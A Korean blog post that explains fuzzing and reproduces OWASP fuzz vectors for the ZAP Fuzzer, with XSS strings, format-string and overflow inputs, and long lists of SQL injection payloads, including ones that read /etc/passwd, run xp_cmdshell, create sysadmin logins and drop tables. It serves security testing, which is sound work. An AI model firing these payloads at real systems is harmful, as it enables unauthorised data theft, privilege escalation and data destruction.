본문 바로가기
Computer Science/Security

퍼징 템플릿 벡터(Fuzz Vectors)

by Bloofer 2021. 6. 8.

퍼징 템플릿 벡터(Fuzz Vectors)

본 글의 퍼징 템플릿 벡터는 실제 퍼징 방법론에 사용되는 OWASP의 퍼즈 벡터 리소스를 참조합니다.


퍼즈 벡터(Fuzz Vectors)란?

다음의 퍼즈 벡터들은 ZAP Fuzzer에 사용되는 템플릿입니다. 퍼징은 매개변수 조작에 대한 프로그램의 응답을 테스트합니다. 퍼즈 벡터를 이용한 퍼징의 결과로 어플리케이션 프로그램에서 생성되는 일반적인 오류 조건을 찾을 수 있습니다.

 

퍼징의 분류

재귀 퍼징(Recursive fuzzing)

재귀 퍼징은 설정된 알파벳의 가능한 모든 조합을 반복하여 입력의 일부를 퍼징합니다. 아래의 예시를 보면,

http://www.example.com/8302fa3b

 

설정된 16진수(0~f)는 재귀 퍼징 범위에 속합니다. 이렇게하면 총 16^8개의 입력이 생성됩니다.

http://www.example.com/00000000
.......
http://www.example.com/11000fff
.......
http://www.example.com/ffffffff

 

대체 퍼징(Replacive fuzzing)

대체 퍼징은 입력을 벡터 값으로 대체하여 입력의 일부를 퍼징합니다. 아래의 예시를 보면,

http://www.example.com/8302fa3b

 

퍼징 벡터를 전송하여 XSS(Cross Site Scripting)에 대한 테스트를 생성합니다.

http://www.example.com/>"><script>alert("XSS")</script>&
http://www.example.com/'';!--"<XSS>=&{()}

 

이것은 대체 퍼징의 한 형태입니다. 이 범위에서 총 입력 수는 지정된 퍼즈 벡터 수에 따라 달라집니다.


종류별 퍼즈 벡터

 

버퍼 오버플로우(Buffer Overflows)

버퍼 오버플로우는 프로그램 내 메모리를 다루는 데에 오류가 발생하여 잘못된 동작을 하는 취약점입니다.

퍼즈 어플리케이션 내에서 이러한 퍼징 벡터를 입력시 프로그램이 중단 될 수 있습니다.

A x 5
A x 17
A x 33
A x 65
A x 129
A x 257
A x 513
A x 1024
A x 2049
A x 4097
A x 8193
A x 12288

 

포맷 스트링 에러(Format String Errors)

포맷 스트링 에러는 임의의 코드를 실행하거나 프로그램 크래시를 유발할 수 있는 취약점입니다. 
퍼즈 어플리케이션 내에서 이러한 퍼징 벡터를 입력시 프로그램내 메모리가 노출 혹은 중단 될 수 있습니다.

%s%p%x%d
.1024d
%.2049d
%p%p%p%p
%x%x%x%x
%d%d%d%d
%s%s%s%s
%99999999999s
%08x
%%20d
%%20n
%%20x
%%20s
%s%s%s%s%s%s%s%s%s%s
%p%p%p%p%p%p%p%p%p%p
%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%
%s x 129
%x x 257

 

정수 오버플로우(Integer Overflows)

정수 오버플로우는 산술 연산으로 인해 데이터 유형의 최대 값보다 크거나 최소값보다 작은 수량이 발생합니다.

퍼즈 어플리케이션 내에서 이러한 퍼징 벡터를 입력시 의도되지 않은 프로그램 행동이 발생할 수 있습니다. 

-1
0
0x100
0x1000
0x3fffffff
0x7ffffffe
0x7fffffff
0x80000000
0xfffffffe
0xffffffff
0x10000
0x100000

 

SQL Injection이란 보안상의 취약점을 이용하여, 임의의 SQL문을 주입하고 실행되게 하여 데이터베이스가 비정상적인 동작을 하도록 조작하는 행위 입니다.

Passive SQL Injection

'||(elt(-3+5,bin(15),ord(10),hex(char(45))))
||6
'||'6
(||6)
' OR 1=1--
OR 1=1
' OR '1'='1
; OR '1'='1'
%22+or+isnull%281%2F0%29+%2F*
%27+OR+%277659%27%3D%277659
%22+or+isnull%281%2F0%29+%2F*
%27+--+
' or 1=1--
" or 1=1--
' or 1=1 /*
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
Admin' OR '
'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--
) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;
' having 1=1--
' having 1=1--
' group by userid having 1=1--
' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--
' or 1 in (select @@version)--
' union all select @@version--
' OR 'unusual' = 'unusual'
' OR 'something' = 'some'+'thing'
' OR 'text' = N'text'
' OR 'something' like 'some%'
' OR 2 > 1
' OR 'text' > 't'
' OR 'whatever' in ('whatever')
' OR 2 BETWEEN 1 and 3
' or username like char(37);
' union select * from users where login = char(114,111,111,116);
' union select
Password:*/=1--
UNI/**/ON SEL/**/ECT
'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
'; EXEC ('SEL' + 'ECT US' + 'ER')
'/**/OR/**/1/**/=/**/1
' or 1/*
+or+isnull%281%2F0%29+%2F*
%27+OR+%277659%27%3D%277659
%22+or+isnull%281%2F0%29+%2F*
%27+--+&password=
'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login >
@var select @var as var into temp end --
' and 1 in (select var from temp)--
' union select 1,load_file('/etc/passwd'),1,1,1;
1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

Active SQL Injection

'; exec master..xp_cmdshell 'ping 10.10.1.2'--
CREATE USER name IDENTIFIED BY 'pass123'
CREATE USER name IDENTIFIED BY pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users;
' ; drop table temp --
exec sp_addlogin 'name' , 'password'
exec sp_addsrvrolemember 'name' , 'sysadmin'
INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))
GRANT CONNECT TO name; GRANT RESOURCE TO name;
INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70)
+ char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)

 

출처: owasp.org